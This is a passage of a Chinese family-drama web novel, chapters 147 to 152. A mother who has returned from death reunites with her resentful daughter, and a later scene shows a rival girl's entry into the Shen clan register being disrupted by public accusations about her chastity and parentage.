孟南枝读完信,才问道:“爹,九曲河决堤一事还没查出来吗?”
这件事不在父亲的职责范围内,早已转交给了理检司。
孟正德点头,“没那么快,对方既然敢做出这种事,肯定会把尾巴擦干净。”
圣上得知此事,特别愤怒。
已经派了暗卫将线索带去山城,同时交由太子和谢归舟在赈灾之余,暗中调查。
沈砚珩很快便带着太医回了府。
经太医诊看后,为气血渐衰,脾胃气虚,气血生化不足,不能上荣于耳窍,这才导致的听辩乏力。
好在这并非急病,太医说开些温补之药调理一段时间便可。
太医走后,孟南枝亲自为父亲煎了药。
给他送到寝房时,却见他正盯着自己的衣柜发呆。
便轻咳了一声,“
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爹,在找什么?”
孟正德回过神,“你来得正好,我记得我有件棕色的衣服怎么不见了?”
孟南枝摇头,“那我可不知道,要不我明日去问问胡姨娘再说吧。”
“那算了。”孟正德连忙摇头,“不过一件衣服,不穿也罢。”
孟南枝闻言也不强求,将汤药递给他,“爹,喝药。”
孟正德一口喝下后,苦得皱眉,看了眼孟南枝。
孟南枝不解,“怎么了?爹,可是喝不惯?”
孟正德摇头,“没事。”
以前胡姨娘在时,给他汤药时,都会配块点心。
孟南枝低垂着眼帘轻笑。
她怎么会不知父亲在纠结什么。
胡姨娘给她的纸上写得清清楚楚,父亲不喜食苦,但因他有消渴症,不能食甜。
所以每次给他喝药时,都要配块点心。
如此,他在喝药时,才能遮掉苦味。
口里也不至于那么难受。
孟南枝觉得,他都这般年纪了,总该为自己的选择吃一吃“苦”。
免得不知道自己这些年到底都在享受着什么。
孟正德不知女儿所想,他勉强吞咽下口中苦味后,看了眼寝房中的环境,再次问道:“我不在这些日子,你动我屋里的东西了?”
孟南枝顺着他的目光扫了眼,故意装作不在意地说道:
“是,前些日子一直在下雨,这两日不是天晴,便都拿出去晒了晒。父亲可是觉得哪里不对,我给您重新安置。”
孟正德点头,“没事,就这样吧。”
屋里的东西,都不是按照他的习惯摆放的。
总感觉别别扭扭的,很不顺心。
既然父亲忍着不提,孟南枝也不再多说,出来时为他带上了门。
扭头看着他屋内的烛光,失笑。
孟南枝回到正院时,沈旻竟然连夜赶来,站在厅门口等她。
而沈砚珩则站在他旁边,一脸怒气。
见到她进来,沈旻连忙行了礼,“夫人,祖母让我来同您说一声。”
“沈家准备明早开祖祠,把陆筝筝的名字纳入族谱。”
孟南枝还未回话,便听到一道娇蛮的声音,由远而至。
“你说要把谁纳入沈家祖谱?你再说一遍。”
第147章 女儿,沈朝昭
来人与孟南枝有九分的相似。
肤白胜雪,眉弯如黛,杏眼微圆,琼鼻朱唇。
一身水红撒花软缎裙,腰间系着宝蓝锦带,坠着颗粉晶珠子。
乌发梳成垂鬂分肖髻,斜插一支点翠步摇,小巧的耳垂上挂着的红宝石,在烛光的照耀下灼灼生辉。
“昭儿。”
“朝昭。”
孟南枝与沈砚珩同时惊呼。
说话之人正是孟南枝的女儿,沈朝昭。
她比沈砚珩晚了一刻钟出生,今年也才十四。
正是如花儿一般的年纪。
“昭儿,你怎么这个时间回来了?”
孟南枝内心激动地三两步跨到她面前,将女儿的眉眼,一点一点地刻画在脑海里。
她溺亡时,沈朝昭还是个只会哭泣的小奶包。
如今已经长得这般亭亭玉立。
她错过了三个子女的成长,好多好多。
沈朝昭目光落在孟南枝身上,盯着她那张与长兄让她和二哥临摹画像中,一模一样的眼睛、鼻子和嘴巴。
眼尾微挑,带着股傲气,“你便是我母亲?”
孟南枝因她这句话的疏离,心口有些发紧。
“是,昭儿,我是你的母亲,我回来了。你看到我给你写的信了吗?”
沈朝昭嘴角轻抿,再次上下打量了她一眼,瞥开脸。
转头看向沈旻,“你还没说,谁要入沈家族谱?”
沈旻看了眼孟南枝,轻声道:“昭妹,你刚回来要不要先歇息一下?”
他深知,若这个时候提陆筝筝,完全是在给她们添堵。
沈朝昭鼻间冷哼,“怎么?本小姐这才多少时日不在京中,你连本小姐说话不回了。”
孟南枝蹙眉。
女儿,不仅明显没有理她的想法。
连与沈旻说话的语气,都和巨幕中刻画的一模一样。
刁蛮、刻薄。
被骂的沈旻低着头没应声。
沈朝昭以前就不喜欢他,他也经常被她骂。
已经习惯了。
沈砚珩看了母亲一样,连忙走到沈朝昭面前,轻哄道:“朝昭,你不是和太后在避暑山庄吗?怎么突然回来了?”
沈朝昭余光轻瞥了眼孟南枝,语气轻忽缥缈道:“想回来,就回来了。”
孟南枝已经明白,女儿心中应是有气的。
这才故意不理她。
而恰好,在这个时候,两个年纪稍长的丫鬟气喘吁吁地跑进来。
“小姐你跑那么急做什么?”
“步摇只插了一半。”
“还刚换了衣服,连披风也不穿,万一着了凉怎么办?”
待看到厅中站着的孟南枝时,口中的言辞瞬间卡了壳。
两人皆双目瞪圆,不敢置信地掉落了手中的披风和步摇。
“夫人?”
“真的是你吗?夫人?”
“您真的回来了?”
孟南枝曾经的两个贴身丫鬟。
知秋,知夏。
孟南枝捡起地上的火红色披风,和女儿沈朝昭发间成对的那支步摇。
上前两步走到她们面前,温声浅笑道:“是我,我回来了。”
圆脸的知夏一把抱住孟南枝,哭得嗷嗷大叫,“夫人,真的是你,知夏好想你,知夏还以为这辈子再也见不到你了。”
知夏性子活道,自幼时便跟在孟南枝身侧,陪她一起长大。
从来没有离开过她一天。
孟南枝溺亡的那日,她也跟着去祭拜衍军英灵。
同样也被挤落了大珩湖。
但她落水的位置水浅,很快就人连拉带拽的拖上了岸。
哪想到水性不好的她,好好地活着。
而善水的夫人,却因为去救林婉柔,而溺亡了。
她知道时,恨不得死的是自己。
这些年,她一直在自责没有看护好夫人。
性子相对稳重的知秋,也在旁边落了泪。
走到孟南枝的另一侧,拽住她的衣角,两眼模糊。
知夏自责,她又何尝不自责。
知夏的水性没有她好。
但她那日生了病,夫人便让她在家好好休养。
若她跟着去了,或许就能把夫人救下来。
也不至于让世子、公子和小姐,以及老爷,这些年跟着受这么大的苦。
孟南枝将知秋也揽在怀里,轻声安慰,“好了,别哭了,我这不是回来了。”
她没有兄弟姐妹,这两个丫鬟对她的情谊,并不比亲姐妹差。
沈朝昭看着她们这般相互哭诉、亲昵的模样,抿了抿唇。
明明,自己才是她女儿。
她怎么能先抱她们。
沈砚珩已经看出了妹妹的别扭,轻声问道:“你是专门为了母亲回来的?”
沈朝昭撇嘴,“谁说我是
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为了她回来的,我是自己想回来的。”
她才不会承认自己拿到母亲写给她那封信时的激动。
她才不会说出自己为了早日见到母亲,连夜便和太后告辞回京。
更不会说这一路为了早点回京,吃了多少苦头。
沈砚珩摇摇头,他们两个是双生。
他又岂会不知道她的想法。
不揭穿她,只是不想打击她的口是心非。
痛哭过后的知夏已经缓过神来。
她揉了揉哭红的眼睛,仔细观看孟南枝的脸,越看越高兴。
“夫人,您还是和十年前一模一样的漂亮。”
知秋也道:“夫人更年轻了,真好。”
孟南枝拿起袖帕,替她们擦拭掉眼泪,柔声道:“你们也一样,都年轻漂亮。”
知夏和知秋破涕而笑。
知秋看了眼表情一直紧张的沈朝昭,开口道:“夫人,小姐接到您的信,高兴得饭都没吃,就去见了太后。”
“从太后那里得知您确实回来后,连夜便和太后告辞,要回京看您。”
“小姐这一路为了赶时间,还跑坏了两匹马。风吹雨淋的,除了歇息,一刻都不敢耽搁。”
“身上的衣服,还是入府前才刚换的,发髻也是刚盘的,您看她头上的步摇,还少插了一支呢。”
孟南枝顺着她的目光望去,落在正傲娇撇嘴的女儿身上,满心疼惜。
她就知道,她的女儿,怎么可能会完全不想她。
被揭穿老底的沈朝昭拉下脸,生气道:“就你话多。”
知秋也不怕她生气,笑道:“那是因我知道小姐有多想夫人,时时刻刻都念着夫人。”
沈朝昭别开脸,不承认,也不否认。
孟南枝走到她面前,将披风围在她身上,替她系好。
又轻轻理顺她的发髻,将步摇插在她的发间。
盯着她与自己非常相似的小脸,轻声道:“昭儿,对不起,是母亲错了,原谅母亲好不好?”
她在信中和女儿说,等灾情结束就去看她。
她该想到女儿会等不急的。
孟南枝眼中的情意,灼得沈朝昭眼睛有些疼。
她杏眼微涩,抽了下鼻子,再次别开脸,不去看她。
“别以为你消失整整十年不见,突然出现说句对不起,我就原谅你,承认你是我母亲了。”
第148章 你若向我,便阻止她
沈朝昭对母亲的记忆,与沈砚珩一样。
即深,又并不深。
她只记得在幼时,总有个人抱着她,她的怀抱很温暖。
她睡不着闹情绪时,那个人会非常耐心地哄她睡觉,一遍一遍地在她耳边讲故事,唱童谣。
她摔倒时,那个人不会强迫她坚强,会第一时间扶她起来,替她吹呼伤口。
用膳挑食时,那个人也不会拿着营养均衡的借口,去逼她食用自己不喜欢吃的食物。
反而每次都会挑选她最喜欢的饭菜来做。
受委屈时……
没有母亲的这十年,沈朝昭回忆过很多次。
在她印象越来越模糊的那四年里,自己好像没有受过一次委屈。
她的母亲,不舍得她受任何委屈。
所有的委屈,都在母亲溺水后,父亲与林婉柔走得越来越近。
娶她做平妻,并把她的女儿陆筝筝也接进府中居住之后。
林婉柔明里褒她,暗里贬她。
她的女儿陆筝筝跟她一样,明里一套,暗里一套。
故意害她出丑。
可父亲不仅不信她,还总拿她和陆筝筝比较。
他也不看看,谁才是他真正的女儿。
她越受委屈,就越思念自己的母亲。
越思念,对母亲的记忆就越模糊。
直到有一天,她完全想不起来母亲的样子。
长兄知道后,沉默了好久。
抱着她,陪她一起哭。
也是从那天开始,长兄便隔段时间,就逼着她和二哥开始临摹一次母亲的画像。
所以她才在入门时,再三端详孟南枝的脸。
一模一样。
一样地让沈朝昭不敢相认。
哪怕是看了她的信。
哪怕是从太后那里得了确信。
哪怕是她为了见她,一路赶回来。
但真站在她面前时,沈朝昭有些怯场了。
她总觉得眼前的母亲是虚幻的,不真实的。
也有些恼恨,她怎么可能那么恨心地不管不顾他们兄妹十年。
让他们受尽了委屈。
孟南枝听到女儿的指责,心中难受地哽了哽。
她在给女儿写信时,为了不被外人截获,特地隐去了自己是直接从十年前重生到现在的事实。
只说了自己回来,并且已经和她的父亲沈卿知和离。
她以为女儿见她第一面会质问她,为什么要和离。
哪想竟然是不愿意原谅她。
孟南枝压下心中酸涩,眸光更加温和,“是母亲的错,你不原谅也是应该的。”
女儿没错,恨她也是应该的。
沈朝昭鼻子哼了哼,没说话。
沈旻见沈朝昭平静下来,忙对孟南枝拱了拱手,“夫人,那我就先告辞了。”
孟南枝点头,“好,你回去路上小心点,替我向你祖母道声谢。”
不得不说,沈二婶和沈旻这对祖孙的表现。
不仅让人挑不出错去,还时不时地做出些小恩小惠。
让孟南枝不得不去承认,与她当初的利益交换,是不亏的。
沈朝昭一直没从沈旻嘴里得到准话,见他要走,有些不爽道:“走什么?你还没和我说纳谁入沈家族谱。”
沈旻依旧没回她,只对她客气地点头。
他自认惹不起,但还能躲得起。
见沈旻这般模样,沈朝昭更加生气,脑子也很快转过来。
“是不是陆筝筝?我父亲要把陆筝筝的名字纳入沈家族谱?”
唯有陆筝筝,沈旻才会闭口不言。
整个沈府都知道她最讨厌陆筝筝,不敢在她面前提及那三个字。
沈旻不言,又与沈砚珩拱了拱手,闷头就往外面窜。
沈朝昭见状,竟然从后背腰间抽出一根长鞭,直接朝他甩了过去。
“你别走,给我说清楚。”
孟南枝没阻止,是因为她看得清楚,沈朝昭没用全力。
她在甩鞭时,还往后面拽了半截,生怕真的伤了人。
沈旻吓了一跳,走也不是,停也不是,求助地看向孟南枝,“夫人,您看?”
他也不确定这件事,到底该不该和陆朝昭说了。
孟南枝安抚道:“你先回去吧,我来和她说。”
沈旻这才对沈朝昭微微颔首后,快步离开。
沈朝昭虽然不满,但也没在孟南枝确切放沈旻走的情况下,再去拦他。
只是,她依旧有些生气,“还说是我母亲?你为什么向着
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一个外人?”
孟南枝轻叹,“昭儿,我并未向着外人。”
沈砚珩见状,走到沈朝昭面前,替她收起长鞭,轻声道:“朝昭,你别生旻哥的气了,他前日帮了我。”
沈朝昭冷哼,“他能帮你什么?”
她记得他和二哥并不相熟,两人也不怎么往来。
沈砚珩只得简单把前几日发生的事简单地说了一遍。
其实对于妹妹这些年的教育,他和兄长都有些头疼。
他叛逆,妹妹比他更叛逆。
他挨了训,受了委屈,只会离家出走。
但妹妹不一样,她挨了训,受了委屈,会抽人。
他一直以为妹妹这点脾性,是随了父亲。
可这些时日在与母亲的相处过程中,他才发现,妹妹更像母亲。
和母亲一样的理不扰人,也从不委屈自己。
想到这里,沈砚珩对母亲解释道:“母亲,并非是妹妹生旻哥的气,而是他们之前一直向着陆筝筝。”
母亲没回来前,沈二叔那边的亲属与他们并不亲近。
陆筝筝和林婉柔一样,是惯会做面子功夫的。
顶着一张娇滴滴的脸,每次在沈朝昭面前总是低声下气的。
外人看到,便都以为沈朝昭是在拿捏她,故意在给她下绊子。
有次沈旻见到,不问缘由地便说道了沈朝昭两句,指责她太过刁蛮。
为此,沈朝昭便恼上了他。
哪怕他后来被兄长沈砚修逼着,道了歉。
沈朝昭也难以原谅他。
孟南枝听完缘由,对子女更加心疼。
她完全没想到,她不在的这些年。
长子沈砚修在妹妹面前,竟然担起了又当爹又当妈的责任。
而女儿朝昭。
孟南枝想到巨幕中,她因嫉妒陆筝筝,所做的一切错事。
看着她的眼睛,坚定道:“昭儿,母亲只向着你们兄妹,从不向着外人,在母亲心里,你们兄妹永远排在第一位。”
沈朝昭看着这个她曾朝思暮想,巴不得每天都想见到的母亲,垂下头。
半晌,她才又抬起头,眸中全是难忍的委屈和不甘。
“你若向我,便阻止陆筝筝入沈家族谱。”
第149章 你准备怎么阻止她?
“好。”
孟南枝没有迟疑,没问缘由。
沈朝昭闻言有些呆愣,圆溜溜的杏眼中,带着不可置信。
她还以为即便她不会和父亲一样说她刁蛮任性,不讲道理。
至少也会询问她两句,为何非要这么做的缘由。
哪想她竟然会连想都不想的,直接同意。
沈朝昭朱唇轻抿,卡在喉间准备解释的说辞,就又都咽了回去。
孟南枝继续温声道:“你这一路风尘仆仆地跑回来,肯定辛苦。”
“府里一直备着热水,你先去洗漱一番,我给你准备些你喜欢的吃食,好不好?”
她不在的这些年,欠了子女他们很多。
只要是不触犯律法的事,她都会满足他们。
更何况女儿的要求,只是不让陆筝筝入沈家族谱而已。
对于林婉柔那对母女这些年对他们所做的错事,完全算不上惩戒。
沈朝昭傲气的神色缓下来,“我不饿。”
哪想她话音还未落地,肚子便发出咕噜的声响。
孟南枝眉眼浅笑,有些心疼。
因为时间的隔阂,她的孩子在她面前表现得过于生分。
沈朝昭双颊绯红地扭开脸,“我先去洗漱。”
只是走了两步,她又退了回来,从怀里掏出一封信递给孟南枝,“太后嘱咐我给你的。”
孟南枝将信收起来,领着她去了自己所在的小院。
知夏和知秋对这座小院最熟,很快就将带回来的东西安置妥当。
从女儿房中出来后,孟南枝才打开信。
太后的信很短,只有简单的两句话。
【尽管放手去做,哀家给你撑着。】
算是回应了她解释与沈卿知和离一事。
孟南枝眼睛酸涩,将信收好后,直接去了厨房。
她记得女儿嘴最刁,吃饭很挑,准备亲自上手做些她喜欢吃的。
沈砚珩跟着母亲一路到厨房,看她从选菜、切菜,到翻炒,全程不假他人之手的模样,有些吃味。
“母亲,我也饿了。”
他还没吃过母亲亲手做的菜。
至于四岁之前有没有,他完全忘了。
正在翻炒的孟南枝抬起头,“你不是才吃过?”
沈砚珩道:“又饿了。”
孟南枝将菜盛出。
“行,那等下你和你妹一起吃。”
顿了顿,她又道:“我再做个你喜欢吃的东坡豆腐好不好?”
沈砚珩眉眼生笑,“好啊。”
洗浴过后的沈朝昭换了件淡绿色的罗裙,未完全擦干的发间微潮,带着蓬勃的朝气。
看到满桌都是自己喜欢的菜肴时,唇角微微上扬后,又很快紧抿起来,装作不在意的模样。
孟南枝迎着她坐下,为她布菜,“尝尝看是否合你胃口。”
沈朝昭拾起银箸尝了一口,抬眸对上孟南枝温笑的目光,点头认可道:“还行。”
“还行就可以。”
孟南枝面上绷得有些紧的笑意,松散了一些。
她刚才一心只想为女儿做饭,倒忘了向她询问,这些年是否在饮食习惯上会有所变化。
只要女儿愿意吃,便已经是很高的评价了。
而沈砚珩在母亲动筷子后,便连忙夹了母亲专门为自己做的那道东坡豆腐。
任那豆腐的软香在口腔中散开,仔细品尝后,才舍得吞下。
“母亲亲手做的,就是好吃。”
浅吃两口,准备将银箸放下的沈朝昭,闻言又重新执起了银箸。
她还以为这只是母亲根据她的喜好,吩咐厨房的。
没想到竟然是她亲手做出来的。
其实对于记忆中母亲给她做饭的味道,沈朝昭已经完全模糊了。
但听二哥说这菜是母亲亲手做的,再吃起来,感觉就是不一样。
很好吃,也很暖心。
沈砚珩将一盘东坡豆腐全部吃完后,有些撑。
见沈朝昭还未放下银箸,便打趣道:“朝昭你这一顿吃的是往日一天的饭量了吧?母亲做的是不是很好吃?”
沈朝昭有些不舍地放下银箸,鼻头微犟,“我饿了,不行吗?”
她其实早就有些饱了。
沈砚珩也不点破她,“行,行,行,你是妹妹,你有理。”
将残羹收拾过后,沈朝昭看向孟南枝的目光多了丝扭捏,“你,准备怎么阻止她?”
孟南枝道:“今晚好好休息,明日你起得早些跟我出去。”
沈砚珩道:“母亲,明日是要去沈家祖祠吗?我和你们一起去吧,反正现在施粥的
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人挺多的,不差我一个。”
而且明日开祠堂,沈旻肯定也会去。
说来也奇怪,父亲竟然没通知他。
是怕他知道,去**吗?
孟南枝看次子有跃跃欲试的激动,泼了他一道冷水,“施粥之事确实不差你一个,从明日开始,你便不用再去城门参与施粥,好好去书院上课。”
算下时日,也差不多到了疫病要发生的时候了。
“母亲。”
沈砚珩语气哀求,“我可以跟你们回来后再去书院。”
孟南枝示意月芹,将父亲之前给她的备案书拿过来。
她将备案书翻开,故意叹气道:“你若不去书院,想来也是不需要这备案书了。”
“去,去,去,母亲,我去书院。”
沈砚珩高兴地从母亲手里接过备案书,将里面的内容,特别是自己的名字,看了一遍又一遍。
“母亲,那我是不是可以画城图了?”
孟南枝看他这般喜形于色的模样,笑道:“可以,但要记得画完送到职方司。”
沈砚珩点头,他知道的,每次画好图都要备案。
否则便可能会被认定为间谍。
沈朝昭没明白二哥在高兴什么,站起来同他一起看备案书。
待看清里面的内容后,不禁也笑了起来,“恭喜二哥。”
她从避暑山庄出来的时候,只知道母亲回来了。
还是在回京途中才得知,外祖父被圣上封为右相,长兄跟着太子去了山城赈灾。
而眼下,二哥竟然也有了自己的事务。
沈朝昭是由衷地替兄长高兴。
她还记得自己跟着太后出京的时候,京里很多人都在暗里讽刺,她的两位兄长是没有什么前途的纨绔子弟。
父亲对兄长也是各种嫌弃和不满。
而且她在进城门的时候,守城的将领和士兵得知她的身份,对她的态度也比以前客气许多。
这一切的变化,都发在母亲回来之后。
思此,沈朝昭又悄悄地抬眸看了一下孟南枝。
朱唇抿了几抿,还是没能张口喊出“母亲”二字。
而沈砚珩已经将备案书叠好收了起来。
他想了想,说道:“母亲,让江鱼陪你和朝昭一起去沈家祖祠吧。”
第150章 镇北侯府当真是好笑
母亲既然不让他去,肯定是有母亲的道理。
而且,他之前向教授讨教的问题,教授还一直没回复他,是该安安稳稳地去书院了。
江鱼会武,有他在,沈砚珩也会放心一点。
孟南枝没拒绝,“好啊。”
反正江鱼也闲着,这些时日她也习惯了他一直跟着。
沈朝昭不解,“江鱼是谁?”
“我朋友。”
沈砚珩将江鱼的身份又和妹妹讲述了一遍。
沈朝昭看了眼四周,“他人呢?在府上住?”
沈砚珩道:“嗯,和我同一个小院,这会儿估计在练剑。”
江鱼很知礼,无事一般不会出自己的院子。
沈朝昭闻言没再多问,反正明日会见到。
她只是有些好奇能和二哥交上朋友的人,会长什么样子。
二哥和长兄不一样,他不喜交际,不怎么参加世家聚会,在京里没什么朋友。
每次被父亲训斥离家出走后,总拿金钱交些不三不四的“道友”。
但能被他称为朋友,还带进府上的,却没有一个。
……
笠日。
天色未亮,晨露未晞。
沈家祖祠大门便在数名家仆的合力下缓慢推开。
厚重的木门与青石板摩擦,发出沉闷的声响,一如沈家老族长此刻的心情。
他是沈卿知的三祖叔,如今沈家最年长之人。
当年沈卿知身为庶子,却被老侯爷记作嫡子。
他不同意。
老侯爷便斥责他不为沈家长远着想,与他狠拍桌子。
那时的他并非族长,只有发言权,没有定**。
后来,沈卿知娶了孟家的独女孟南枝,将镇北侯府打理得妥妥贴贴,证明了老侯爷当初的选择没有错。
他很服气。
再后来,孟南枝溺水而亡,沈卿知娶了林婉柔为平妻,想要把林婉柔的女儿陆筝筝纳入沈家族谱。
已经身为沈家族长,拥有定**的三祖叔自然不同意。
沈家这些老辈,谁不知道当年林父嫌弃沈卿知是庶子,不愿将女儿下嫁于她。
如今他那女儿**丈夫,带着别人的孩子再嫁到沈家不说。
竟然还想把那陆家剔除族谱的孩子,记入到他们曾经嫌弃的沈家。
做梦呢。
但,耐不住沈卿知在他面前软磨硬泡。
林父向他们沈家砸了重金,与他站在同一战线的沈二叔都同意了。
他们族人现在都指望着沈卿知的官位再上一层,带着全族一飞冲天。
更何况,还有奕王萧临渊向他们施压。
想到此处,老族长看了眼厅内身着素色常服的族人们,叹了口气。
他们这些人,都同意了。
他如今已经距离埋入黄土,只差临门一脚。
以后还指望着这些子孙给他抬棺呢,总不好折了他们想要向上攀爬的心思。
入族谱就入族谱吧。
索性只是以继女的身份入。
他也算对得起自己的心意。
镇北侯沈卿知今日心情甚好。
上次曹景行与他说了会举荐他,下次科考负责誊录一职。
他当时面上虽然高兴,但内心却是不信的。
毕竟外面可是传言曹景行要和孟家联姻。
作为男人,他才不信曹景行会那么大度,举荐他这个可能联姻对象的前夫。
他将此事与林父提了一嘴后,没想到林父竟然说会亲自为他周旋此事。
概率有六分能成。
所以他这几日在官署工作时都精神百位。
完全没了再去寻孟南枝的想法。
反正他都和孟南枝闹翻了,得好好把握住现岳父才行。
林父听说他把本来给陆筝筝跑关系入族谱的银钱给了沈砚后,不仅不生气,反而夸他做得好,又给了他五万两银票。
再加上有奕王萧临渊的保证,沈卿知已经看到了亮得刺眼的前途。
尤其是他这些天,晚上一直在连续做梦。
在梦里,太子**,奕王萧临渊坐上了高位。
陆筝筝是萧临渊的真爱,他从镇北侯,变成了镇国公。
那梦太真实了,真实到沈卿知差点以为那是真的。
每天早上醒来,都要用凉水连洗五六遍,才能清醒脑子。
毕竟在梦里,孟南枝可没有回来。
他的长子沈砚修**,被圣下下令,车裂而死。
孟正德为保全族,**而亡。
太假了。
他的长子他清楚,顶多是吓吓仆人,连他这个父亲打他都不敢反抗
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,哪有那个胆子**。
而他的前岳父,圣上新宠,大衍右相,怎么可能**。
他肯定是这些时日,被孟南枝给气得太过。
才一直在做梦,巴不得她早死不回来。
不过他到底还是受了梦中的影响,总想抱点希望。
万一呢。
万一太子真的**,奕王坐上高位了呢。
那他岂不是可以坐享其成,只要等着“便宜女婿”稳坐高位就行了?
所以他这些天才加快了进度,想早点把陆筝筝记入沈家族谱。
跟在他身后的陆筝筝,今日穿了一身青烟紫绣游鳞拖地长裙,乌发梳的是当下最时髦的**髻。
插着前些时日林婉柔给她修好的,那根镶着鸽血石的赤金发簪。
略施粉黛,整个人显得气质脱俗,娇艳欲滴。
只是紧握着衣角手指,透露出她的胆怯和激动。
今日是她的大日子,也是她将改写命运的一天。
这是她第一次踏入沈府祖祠,只要她入了沈家族谱。
那么过往被剔除陆府族谱的不堪,将永远埋藏下去。
她再也不是一个没有父亲的孩子。
她的父亲将是镇北侯,她便是镇北侯府的千金。
享受和沈朝昭一样的待遇。
正厅内,檀木供桌上摆满了瓜果祭品。
三足鼎炉里升起袅袅青烟,缭绕着上方悬挂的“镇北侯府”匾额。
匾额之下,几十个牌位整齐排列,泛着温润的光泽。
“吉时到——”
司仪苍老的声音划破寂静。
沈二叔捧着泛黄的族谱缓步上前,递到老族长手中。
老族长指尖在烫金的谱名上轻轻拂过,目光扫过堂下,最终落在沈卿知身侧的陆筝筝身上。
拿起朱砂笔,沉声说道:“今有林氏婉柔,嫁入沈府为平妻,其女陆筝筝,性行温良,随母入府,蒙侯爷应允,收为继女,赐名沈筝筝,载入沈氏族谱……”
老族长苍老的声音还未落地,祖祠外便传来几道清脆却尖锐的女声。
“性行温良?我怕不是听错了吧。”
“一个还未婚嫁便已失了贞节的女子,还能被称作性行温良?”
“你们镇北侯沈府当真是好笑的紧。”
第151章 她不是陆家人
原本肃穆的沈家祖祠,此刻静得掉根针都能听见。
老族长手中的朱砂笔停顿下来,上面沾着的红墨“啪嗒”一声掉落在族谱之上,晕开一片刺目的红。
祖祠内的沈家小辈闻言倒吸凉气,面面相觑,眼中皆是不可置信。
陆筝筝小脸苍白如雪,跪立不安,死死地攥紧了手中的衣角。
外面的人说的是事实。
可她们怎么会知道?
沈卿知面色阴沉,大跨步走到门口,“是何人在外面大声喧哗,污言秽语?”
他刚出门,就差点撞到准备进来的沈娇娇。
沈二叔的嫡孙女,沈旻的亲妹妹。
沈娇娇往后退了一步,连忙行礼,“见过侯爷。”
而沈娇娇的身后,还跟着三个身着时兴蜀锦罗裙,气质出众的姑娘。
正准备发怒的沈卿知见到为首的姑娘,微微拱手,“茗央郡主,你怎么在这?”
茗央郡主,陈茗央。
陈国公家的嫡长孙女,流着皇家血脉,当今圣上的姑姑便是她的祖母。
陈茗央傲慢地以晚辈姿态,对沈卿知回了半礼,“我今日得闲,特来寻沈妹妹玩,倒没想到会恰好碰到沈府开祖祠。”
说罢,她又往祖祠内瞧了一眼,“我一直听祖父说沈府向来家世清白,怎么今日却要将一个婚前便失了贞节之人记入到族谱?”
沈卿知闻言面色铁青,“郡主慎言。此事关乎我沈家清誉,岂能容你如此污蔑!”
陈茗央嘴角勾起一抹嘲讽的笑,“污蔑?沈侯爷,本郡主只是好心提醒你们沈府,不要让一个身份不干不净的人毁了沈府,何至于污蔑她。”
随着陈茗央越说越多,陆筝筝只觉得沈家众人的目光如针一样扎在她的身上。
她跪不住地站起身子,柔弱地走了出来,委屈地反驳道:
“茗央郡主,我自问不曾得罪于您,您为何要如此污蔑于我?”
陈茗央盯着她那般娇滴滴,泫然若泣的模样,恶心地别开脸,并不想搭理于她。
只对身后仰了仰下巴,“陆妙妙,你来和他们说,本郡主可曾污蔑于她?”
陆筝筝闻言色变,抬目看向她的身后。
陆妙妙,陆家庶女,陆筝筝曾经的妹妹。
如今已经被陆家记为嫡长女。
陆妙妙遗传了陆父的五官,样貌普通。
她步伐轻柔地走到沈卿知面前,微微施了一礼,语气平缓道:“多日前的夜里,我和丫鬟曾在兰雅馆见过一次筝筝姐。”
“我许久未曾见她,本来想喊她一起聚一聚,却没想到她……”
说到此处,陆妙妙顿了顿,似乎对当时看到的画面难以启齿。
而陆筝筝在她说到兰雅馆时,便已脊背发凉,全身都冒着刺骨的寒意。
明明,那天夜里,没有一个外人。
怎么就偏偏被陆妙妙给瞧见了。
陆妙妙在陈茗央的鼓励下继续说道:“筝筝姐当时进了一个雅间,我追过去的时候,里面便传来这样那样的声音。”
“我本来是想进去的,但听筝筝姐的声音,不似强迫,她又是主动进去的,便没有过多打扰。”
“原本,我也是不想说的。这不也是刚看到侯爷竟然要把筝筝姐记入族谱,这才想起了此事。”
“沈府一向注重清白,这才想着提醒一下,避免以后知道了后悔,觉得脏了族谱。”
而此时,祖祠内一位年长的沈家叔伯站了出来,沉声道:
“侯爷,此事非同小可。若真如她们所说,那将陆筝筝记入族谱,确实有损我沈家百年清誉啊。”
沈卿知在听完陆妙妙的说辞,面色早已阴沉如碳。
他看向陆筝筝,询问道:“筝筝,此事可是真的?”
陆筝筝双目含泪地摇头,“侯爷,不是的,您听筝筝解释,这件事……”
陈茗央冷嘲,“有什么好解释的,是不是完璧之身,让嬷嬷查验一下不就知道了?”
沈家叔伯闻言点头,觉得此计可行。
沈卿知有些犹豫,陈茗央和陆妙妙说得信誓旦旦,他担心万一查验后,是真的,那就彻底没有挽回的余地了。
所以,他心一横,赶客道:“此事,是我们沈府的家事。娇娇,你带茗央郡主到府上庄田去游
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玩吧。”
沈娇娇没有反驳,只规规矩矩地俯身应道:“是,侯爷。”
反正她今日的任务已经完成了。
至于陈茗央她们愿不愿跟她走,这就不是她能定的了。
果然,陈茗央眉心微蹙,冷声道:“怎么?沈侯是觉得本郡主说的话不可信?故意冤枉了她?”
“本郡说从不说慌,今日偏偏就要证明个对错来?还是你们知道她身子本就不清白,故意用她换了你们沈府高飞的机会?”
“放肆!”
沈卿知面色铁青,怒吼出声。
他是想用陆筝筝攀上奕王,但这并不代表他想让别人知道。
尤其是在此种场合。
这是在他们沈府,还是列祖列宗在上的情况下。
陈茗央却并不怕他,只是反嘲道:“原来是被本郡主说中了,你们沈家就是为了利益,拿了继女的身子做交换。”
“怪不得早不纳族谱,晚不纳族谱,偏偏要在满京都在忙着赈灾的时候,偷偷纳族谱。”
说到此处,陈茗央又冷冷地瞧了陆筝筝一眼,“也是,这种连亲爹都身份不明的人,也就只配用来做交易了。”
陆筝筝被她说得面红耳赤,恨不得钻到地缝里去。
对方太过分,把她的所有不堪全都揭穿。
沈卿知此刻已经被陈茗央的话,说得失去理智,“你,出去!这是我们沈府的私事,不需要陈国公府来指手画脚!”
而沈家叔伯却是满脸不解,“什么意思?什么亲爹不明?她亲爹难道不是陆家的那位嫡长子?”
陈茗央偏偏就是不走,反而继续刺激道:“她亲爹若是陆家人,又岂会在陆父**后被剔除陆家族谱。”
陆妙妙紧跟着,平缓的语气中满是哀思道:“我祖母也是在我父亲死后整理遗物时,才得知筝筝姐并非我陆家血脉。”
“是林……是林姨在我父亲灵前跪了三天三夜,我祖父祖母念及养了筝筝姐多年,心软之下,这才将此事隐藏了起来。”
“只是,到底是不好混淆陆家血脉,只得将筝筝姐的名字从陆家族谱上移了出去。”
第152章 她是本王的人
沈家祖祠的隔壁院落。
凉厅下,瓜果俱全。
沈二婶陪着孟南枝和沈朝昭,一直在静静地听着旁边的动静。
自从陆筝筝踏入祖祠,沈朝昭的心就一直提着。
